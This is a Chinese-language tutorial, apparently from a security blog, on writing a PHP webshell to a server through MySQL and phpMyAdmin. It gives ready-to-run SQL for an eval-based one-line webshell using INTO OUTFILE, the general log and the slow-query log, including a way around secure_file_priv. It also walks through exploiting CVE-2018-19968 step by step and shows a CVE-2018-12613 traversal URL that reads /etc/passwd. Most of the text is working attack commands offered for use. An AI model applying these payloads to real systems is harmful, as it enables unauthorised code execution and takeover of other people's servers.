当我们通过测试发现SQL注入,或拿到像phpMyAdmin之类的web数据库可视化管理工具,并想要进行下一步渗透的时候,可通过数据库写入webshell到目标服务器上,利用webshell管理工具控制目标服务器。下面将讲述几个通过MySQL数据库写入webshell的方法,以拿到phpMyAdmin为例。

-01-

通过outfile写入shell

利用条件:

1、root权限2、网站的绝对路径且具有写入权限
执行如下语句写入shell:

select '<?php  @eval($_POST[1]);?>' into outfile 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';

cc57da164ac93ab6ded3eef9a7fc620c.png
使用蚁剑进行连接:

77a7d8f2fe4eb2b04ab02a9f45127be6.png

在写入的时候可能会出现如下错误:

daae6ed1570f55bd7e9b13090f1d4af1.png

这是由于在高版本的MySQL添加了个叫secure_file_priv的参数,导致我们无法导出文件,在后面会讲解如何绕过secure_file_priv,前一部分假设具有导出权限

-02-

将shell写入表中

利用条件:

1、root权限2、网站的绝对路径且具有写入权限
执行如下语句写入shell:

将shell插入一个表中

insert into `sxss`(`comment`) values ('<?php  @eval($_POST[1]);?>');

 

查询该数据表,将结果导出文件

select comment from sxss into outfile 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';

 

23185618e04987d7121688f39020a789.png

2b3b0b0651fffa918775c0b786fea928.png

使用蚁剑进行连接:

9e354c7e19b9fa96dec7b766601dbab8.png

-03-

开启全局日志写入shell

利用条件:

1、root权限2、网站的绝对路径且具有写入权限
执行如下语句写入shell:

查看全局日志配置

show variables like '%general%';

开启全局配置

set global general_log = on;

 

将日志文件设置成服务器下的木马文件

set global general_log_file = 'E:/phpStudy2018/PHPTutorial/WWW/shell.php';

 

然后执行sql语句,mysql会将我没执行的语句记录到日志文件(上一步修改后的文件)中

select '<?php  @eval($_POST[1]);?>';

 

▼ 查看全局配置▼

a8044c5aea6902c50010d77698475342.png

▼ 开启全局日志 ▼

7fbfc3f0b12ccc39361c9a86763fe6eb.png

▼ 修改日志文件▼

2122c905a92310b67918f23dc5ed758b.png

▼ 执行sql语句写入日志▼

5b8961531b67c3d902f2fef33b0443d0.png

▼ 日志中的内容▼

f314d8ecaf8998d22bf2c21fb3ab03ed.png

使用蚁剑进行连接:

9e354c7e19b9fa96dec7b766601dbab8.png

-04-

慢查询日志写入shell

在实际写webshell的时候,我们经常会遭受到secure_file_priv的阻拦,secure_file_priv这个配置参数用来限制load data、outfile、load_file()的使用,其参数值有以下三种:

1、NULL:表示不允许导入导出

2、目录地址,如/tmp/:表示只能对指定目录进行导入导出,如/tmp/

3、空,即没有具体值:表示不对导入导出做限制

可使用如下命令来查看secure_file_priv的值:

show global variables like '%secure%';

f11787c2f6e4b53ced169eb38e89fbbf.png

高版本的mysql中默认为NULL,也就是不让导入导出

解决办法

在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv=

在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv=

使用慢查询日志绕过此限制

利用条件:

1、root权限2、网站的绝对路径且具有写入权限执行如下语句写入shell:
查看慢查询日志开启情况

show variables like '%slow_query_log%';

开启慢查询日志

set global slow_query_log=1;

修改日志文件存储的绝对路径

set global slow_query_log_file='E:/phpStudy2018/PHPTutorial/WWW/shell.php';

向日志文件中写入shell

select '<?php @eval($_POST[1]);?>' or sleep(11);

▼ 查看慢查询日志开启情况▼

ec8287d7a6195a2c3b22aed56ed391bd.png

▼ 开启慢查询日志▼

b5ff79f8444fcead65cff3ceab0cbcfc.png

▼ 设置慢查询日志存储文件▼

d585d933124f973df519768d8bc06454.png

▼ 执行查询语句写入日志▼

86b12d0c6858d19db016b63b81802b7d.png

可以看到日志文件中的内容:

eb6ae8e44b3a9b7fac0f114071530f30.png

使用蚁剑连接:

8140fb17c585970353c181b47eb0f5a0.png

使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:

show global variables like '%long_query_time%';

65a44d486ca0fb13c2bf0698aa678d6f.png

-05-

CVE-2018-19968文件包含

受影响的phpMyAdmin版本:

4.8.0 ~ 4.8.3
首先登录管理后台

执行如下语句创建数据库,并将shell写入数据表:

CREATE DATABASE foo;CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT "<?php  file_put_contents('shell.php','<?php @eval($_POST[1]);?>');?>";

5f0cdd49a9c857f8fd42c96b2514a155.png

然后访问http://target/chk_rel.php?fixall_pmadb=1&db=foo

在数据库foo中生成配置表:

4c2cc7d5baef72b54b11a70d9838c451.png

来到foo数据库,执行如下语句:

INSERT INTO pma__column_info SELECT '1', 'foo', 'bar', 'baz', 'plop', 'plop', 'plop', 'plop', '../../../../../../../../tmp/sess_***','plop';

将sess_***中的***替换成cookie中phpMyAdmin对应的值(可按f12调出开发者工具,在请求头中拿到):

21a41f419c391c58b71121c63498a4c3.png

828f0b028c06dd130323928c261799d3.png

 

访问:

http://target/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1

8756e66535e848e203368ca42985a621.png

访问这条连接后将会在网站根目录下生成一个shell.php的webshell,使用蚁剑进行连接:

d26a240c9cf7ec07d992502ac26e93c7.png

除此之外,还有:

CVE-2018-12613

http://test.com/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

CVE-2016-5734

CVE-2014-8959

等这里就不一一介绍了

转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/7438.html